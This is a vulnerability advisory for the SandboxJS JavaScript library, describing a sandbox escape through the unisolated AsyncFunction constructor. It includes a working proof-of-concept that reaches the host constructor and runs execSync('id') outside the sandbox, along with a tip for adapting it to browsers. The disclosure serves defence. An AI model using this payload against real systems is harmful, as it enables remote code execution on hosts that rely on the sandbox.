SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor

Summary

A sandbox escape vulnerability due to AsyncFunction not being isolated in SandboxFunction

Details

The library attempts to sandbox code execution by replacing the global Function constructor with a safe, sandboxed version (SandboxFunction). This is handled in utils.ts by mapping Function to sandboxFunction within a map used for lookups.

However, the library did not include mappings for AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction. These constructors are not global properties but can be accessed via the .constructor property of an instance (e.g., (async () => {}).constructor).

In executor.ts, property access is handled. When code running inside the sandbox accesses .constructor on an async function (which the sandbox allows creating), the executor retrieves the property value. Since AsyncFunction was not in the safe-replacement map, the executor returns the actual native host AsyncFunction constructor.

Constructors for functions in JavaScript (like Function, AsyncFunction) create functions that execute in the global scope. By obtaining the host AsyncFunction constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).

PoC

const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();

const payload = `
    const af = async () => {};
    // .constructor returns the host AsyncFunction constructor because it's not intercepted
    const AsyncConstructor = af.constructor;
    console.log("AsyncConstructor name:", AsyncConstructor.name);
    
    // Create a function that executes outside the sandbox
    const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()");
    
    // Execute RCE
    const p = func();
    p.then(proc => {
        console.log(proc);
    });
`;

try {
    s.compile(payload)().run();
} catch (e) {
    console.error("Bypass failed:", e.message);
}

Run above script in nodejs. If you run it in browser, change the AsyncConstructor argument by returning window object.

Impact

A Remote Code Execution, attacker may be able to run an arbitrary code.